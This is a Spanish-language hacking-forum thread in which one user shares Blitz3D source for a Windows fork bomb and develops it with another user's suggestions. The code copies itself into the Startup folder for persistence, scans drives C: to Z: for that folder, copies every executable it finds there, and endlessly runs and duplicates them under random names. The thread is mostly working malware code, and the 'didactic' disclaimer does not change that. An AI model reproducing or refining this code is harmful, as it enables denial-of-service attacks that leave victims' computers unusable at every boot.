elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  ejemplo bombas fork
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: ejemplo bombas fork  (Leído 3,354 veces)
crazykenny


Desconectado Desconectado

Mensajes: 4.240



Ver Perfil WWW
ejemplo bombas fork
« en: 26 Octubre 2019, 23:06 pm »

Hola, veréis, el caso es que quería compartir un código de ejemplo de bomba fork que he hecho en Blitz3D, o, almenos, en el sentido de usarlo con fines didácticos (por ejemplo, extrapolando el código a otros lenguajes para después modificarlo), y, obviamente, no usarlo para destructivos.

Por otra parte, antes de pasar el código, recordar que el mal uso recae sobre el usuario que lo utiliza con fines no éticos/ilegales.

Entonces, el código para S.O. Windows es el siguiente:

Código:

filename$=CurrentDir()+"programa.exe"
dir_base$="C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\programa.exe"
If FileType(dir_base$)=0 or If FileType(dir_base$)=2
CopyFile filename$,dir_base$
endif
.inicio
ExecFile(dir_base$)
Goto inicio


Muchas gracias por vuestra atención, y, bueno, saludos.
« Última modificación: 27 Octubre 2019, 16:26 pm por crazykenny » En línea

A nivel personal, lo que me da mas miedo no son los planteamientos y acciones individuales, sino las realizadas en grupo, ya que estas ultimas pueden acabar con consecuencias especialmente nefastas para todos.
Se responsable, consecuente y da ejemplo.
https://informaticayotrostemas.blogspot.com/

Mi canal de Youtube:

https://www.youtube.com
@XSStringManolo
Hacker/Programador
Colaborador
***
Desconectado Desconectado

Mensajes: 2.399


Turn off the red ligth


Ver Perfil WWW
Re: ejemplo bombas fork
« Respuesta #1 en: 26 Octubre 2019, 23:35 pm »

Hola, veréis, el caso es que quería compartir un código de ejemplo de bomba fork que he hecho en Blitz3D, o, almenos, en el sentido de usarlo con fines didácticos (por ejemplo, extrapolando el código a otros lenguajes para después modificarlo), y, obviamente, no usarlo para destructivos.

Por otra parte, antes de pasar el código, recordar que el mal uso recae sobre el usuario que lo utiliza con fines no éticos/ilegales.

Entonces, el código para S.O. Windows es el siguiente:

Código:

filename$=CurrentDir()+"programa.exe"
dir_base$="C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\programa.exe"
If FileType(dir_base$)=0 Or If FileType(dir_base$)=2
CopyFile filename$,dir_base$
endif
.inicio
ExecFile(dir_base$)
Goto inicio


Muchas gracias por vuestra atención, y, bueno, saludos.

Lol, buena idea usar la carpeta de StartUp.
Te enciende el PC? O tienes que arrancar en modo seguro?

Si quieres mejorarlo busca la ruta programáticamente, o bruteforcea la ruta. Mucha gente tiene la instalación en D:

Igual si simplemente usas de ruta %StartUp% te la pilla. Si no puedes hacerlo desde la CMD.

Estas cosas molan UwU.
En línea

Mi perfil de patrocinadores de GitHub está activo! Puedes patrocinarme para apoyar mi trabajo de código abierto 💖

crazykenny


Desconectado Desconectado

Mensajes: 4.240



Ver Perfil WWW
Re: ejemplo bombas fork
« Respuesta #2 en: 27 Octubre 2019, 10:30 am »

Lol, buena idea usar la carpeta de StartUp.
Te enciende el PC? O tienes que arrancar en modo seguro?

Si quieres mejorarlo busca la ruta programáticamente, o bruteforcea la ruta. Mucha gente tiene la instalación en D:

Igual si simplemente usas de ruta %StartUp% te la pilla. Si no puedes hacerlo desde la CMD.

Estas cosas molan UwU.

Hola, String Manolo.

Sobre la ruta, hay algunas cosas que no están disponibles en Blitz 3D pero que si que lo están en otros lenguajes como Batch (como usar de ruta %StartUp%), y por eso he publicado el código como ejemplo  y lo de extrapolar el código a otros lenguajes con fines didácticos.

Por otra parte, y, ahora que comentas sobre la instalación en D:, habría una opcion no muy eficiente para intentar buscar la carpeta de StartUP y no usar %StartUp%, que basicamente seria reemplazar la linea de codigo donde defino dir_base$ por el siguiente codigo:

Código:
cant_unidades#=3
Dim unidades$(cant_unidades#)
unidades$(0)="C:\"
unidades$(1)="D:\"
unidades$(2)="E:\"
unidades$(3)="F:\"
For tr#=0 To cant_unidades#
dir_base$=unidades$(0)+"ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
If FileType(dir_base$)=2
dir_base$=dir_base$+"\programa.exe"
EndIf
If FileType(dir_base$)=0 Or If FileType(dir_base$)=2
CopyFile filename$,dir_base$
EndIf
Next

Y, bueno, solo decir dos cosas;

-La primera es que, en la matriz que he creado, se deberían añadir las unidades donde se quiere buscar la carpeta StartUp

-La segunda es que, para no complicarse la vida modificando códigos, he utilizado la variable "cant_unidades#" para definir el tamaño de la matriz y poder añadir mas o menos unidades. Por otra parte, también la he usado como valor maximo del bucle For-Next para que compruebe todas las unidades.

Eso si, insisto en lo que ya he dicho al crear el tema:

Hola, veréis, el caso es que quería compartir un código de ejemplo de bomba fork que he hecho en Blitz3D, o, almenos, en el sentido de usarlo con fines didácticos (por ejemplo, extrapolando el código a otros lenguajes para después modificarlo), y, obviamente, no usarlo para destructivos.

Por otra parte, antes de pasar el código, recordar que el mal uso recae sobre el usuario que lo utiliza con fines no éticos/ilegales.


Muchas gracias por vuestra atención, y, bueno, saludos.

EDITO: Justo ahora acabo de ver un error en el segundo codigo que he añadido como mejora y he editado el mensaje para rectificar el error.

El error del codigo es este:

Código:

If FileType(dir_base$)=0 Or If FileType(dir_base$)=2
dir_base$=dir_base$+"\programa.exe"
EndIf


Y el código corregido es la siguiente:

Código:

If FileType(dir_base$)=2
dir_base$=dir_base$+"\programa.exe"
             CopyFile filename$,dir_base$
EndIf


Y, bueno, como nota para dejar constancia del error de programación, básicamente el programa tenia que añadir la ruta con el nombre de fichero de destino cuando encontraba la ruta, pero con el error también lo hacia cuando no se encontraba la ruta con el directorio para añadir el archivo.


EDITO 2:

Justo ahora acabo de actualizar el código para hacer pruebas, y, bueno, quisiera aprovechar para compartir los avances del código de ejemplo que ya he publicado;

Código:
SeedRnd MilliSecs()
tit#=Rnd(0,999999999999)
num$=Str tit#
AppTitle num$
;generar una lista de unidades excluyendo las unidades A:\ y B:\ reservadas para disqueteras.
Dim unit$(24)
unit$(0)="ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
unit$(1)="C:\"
unit$(2)="D:\"
unit$(3)="E:\"
unit$(4)="F:\"
unit$(5)="G:\"
unit$(6)="H:\"
unit$(7)="I:\"
unit$(8)="J:\"
unit$(9)="K:\"
unit$(10)="L:\"
unit$(11)="M:\"
unit$(12)="N:\"
unit$(13)="O:\"
unit$(14)="P:\"
unit$(15)="Q:\"
unit$(16)="R:\"
unit$(17)="S:\"
unit$(18)="T:\"
unit$(19)="U:\"
unit$(20)="V:\"
unit$(21)="W:\"
unit$(22)="X:\"
unit$(23)="Y:\"
unit$(24)="Z:\"
;comprueba el directorio actual
dir_actual$=CurrentDir()
;comprobacion de archios del directorio actual.
dir_act=ReadDir(dir_actual$)
.chk_file
tit#=Rnd(0,999999999999)
num$=Str tit#
AppTitle num$
file_act$=NextFile$(dir_act)
If file_act$=""
;si no se encuentran mas archivos, salta a la sección de copiar archivos
;a la carpeta para ejecutar programas al iniciar windows.
cant_exe#=cant_exe#-1
Goto ejecucion
EndIf
;usa la variable extens$ para comprobar toda (o parte) de la extension del archivo
extens$=Right$(file_act$,4)
If extens$=".exe"
;si la extension del archivo es .exe guarda la ruta del archivo en una matriz
;para fijar el tamaño de la matriz, se utilizara la variable cant_exe#; Se
;le asignara el valor 0 en caso de que no se haya creado, y, despues de
;crearla y/o añadirle nuevos archivos, su valor se incrementara en 1.
;Obviamente, se le restara 1 a su valor cuando se necesite acceder a todos los
;datos de la matriz.
If cant_exe#=0
;si no se ha creado la matriz, se crea antes de añadirle la ruta del archivo.
Dim exe_list$(0,2)
exe_list$(0,0)=dir_actual$=dir_actual$+file_act$
exe_list$(0,1)=file_act$
cant_exe#=cant_exe#+1
EndIf
If cant_exe#>0
;si ya existe, y, dado que al volver a crear una matriz se borran los datos de esta,
;se crea una segunda matriz para volcar la informacion.
cant_exe#=cant_exe#-1
Dim exe_list_0_b$(cant_exe#,1)
For count#=0 To cant_exe#
For con_2#=0 To 1
exe_list_0_b$(count#,con_2#)=exe_list$(count#,con_2#)
Next
Next
cant_exe#=cant_exe#+1
Dim exe_list$(cant_exe#,2)
cant_exe#=cant_exe#-1
;Con la 1a matriz redimensionada, se vuelve a copiar la informacion en esta.
For count#=0 To cant_exe#
For con_2#=0 To 1
exe_list$(count#,con_2#)=exe_list_0_b$(count#,con_2#)
Next
Next
cant_exe#=cant_exe#+1
EndIf
EndIf
Goto chk_file
.ejecucion
;en esta parte, se utilizara la lista de unidades (posicion 1 a 24 de la matriz unit$())
;mas la ruta indicada en la posicion "0" para localizar el directorio %StartUp%
For count#=1 To 24
dir_destino$=unit$(count#)+unit$(0)
If FileType(dir_destino$)=2
;si se ha encontrado y es el directorio actual del programa, se pasara
;a la ultima parte del programa.
If dir_actual$=dir_destino$
Goto autoruning
EndIf
;si se ha encontrado se pasara a copiar los .exe a este directorio
For count_2#=0 To cant_exe#
exe_list$(count_2#,2)=dir_destino$+exe_list$(count_2#,1)
CopyFile exe_list$(count_2#,0),exe_list$(count_2#,2)
Next
EndIf
Next
.autoruning
tit#=Rnd(0,999999999999)
num$=Str tit#
AppTitle num$
;con todo ya hecho, se ejecutaran todos los .exe de forma indefinida
For count_2#=0 To cant_exe#
;se ejecuta el archivo original y el archivo copiado
ExecFile(exe_list$(count_2#,0))
ExecFile(exe_list$(count_2#,2))
;genera un numero aleatorio
tit#=Rnd(0,999999999999)
num$=Str tit#
gremlin_exe$=dir_destino$+num$+".exe"
;se realiza una copia el archivo ejecutado y su nombre es el numero aleatorio.
CopyFile exe_list$(count_2#,0),gremlin_exe$
;y se vuelve a ejecuta la copia del archivo ejecutado
ExecFile(exe_list$(count_2#,0))
Next
Goto autoruning

Y, bueno, solo decir que toda critica es bienvenida.  :D :) ;)
« Última modificación: 27 Octubre 2019, 23:13 pm por crazykenny » En línea

A nivel personal, lo que me da mas miedo no son los planteamientos y acciones individuales, sino las realizadas en grupo, ya que estas ultimas pueden acabar con consecuencias especialmente nefastas para todos.
Se responsable, consecuente y da ejemplo.
https://informaticayotrostemas.blogspot.com/

Mi canal de Youtube:

https://www.youtube.com
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Fork en php
PHP
WHK 0 3,696 Último mensaje 8 Diciembre 2007, 09:26 am
por WHK
Emular MultiHilos (multithread) Sin Fork (FAKE FORK) « 1 2 »
PHP
OzX 14 9,541 Último mensaje 27 Marzo 2009, 00:24 am
por OzX
FORK en java
Java
reylagarto19 7 6,844 Último mensaje 1 Agosto 2012, 20:47 pm
por egyware
Error en el uso del fork() « 1 2 »
Programación C/C++
nolasco281 10 5,040 Último mensaje 5 Abril 2014, 23:39 pm
por nolasco281
fork
Programación C/C++
Pirat3net 1 2,252 Último mensaje 19 Diciembre 2016, 19:48 pm
por ivancea96
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines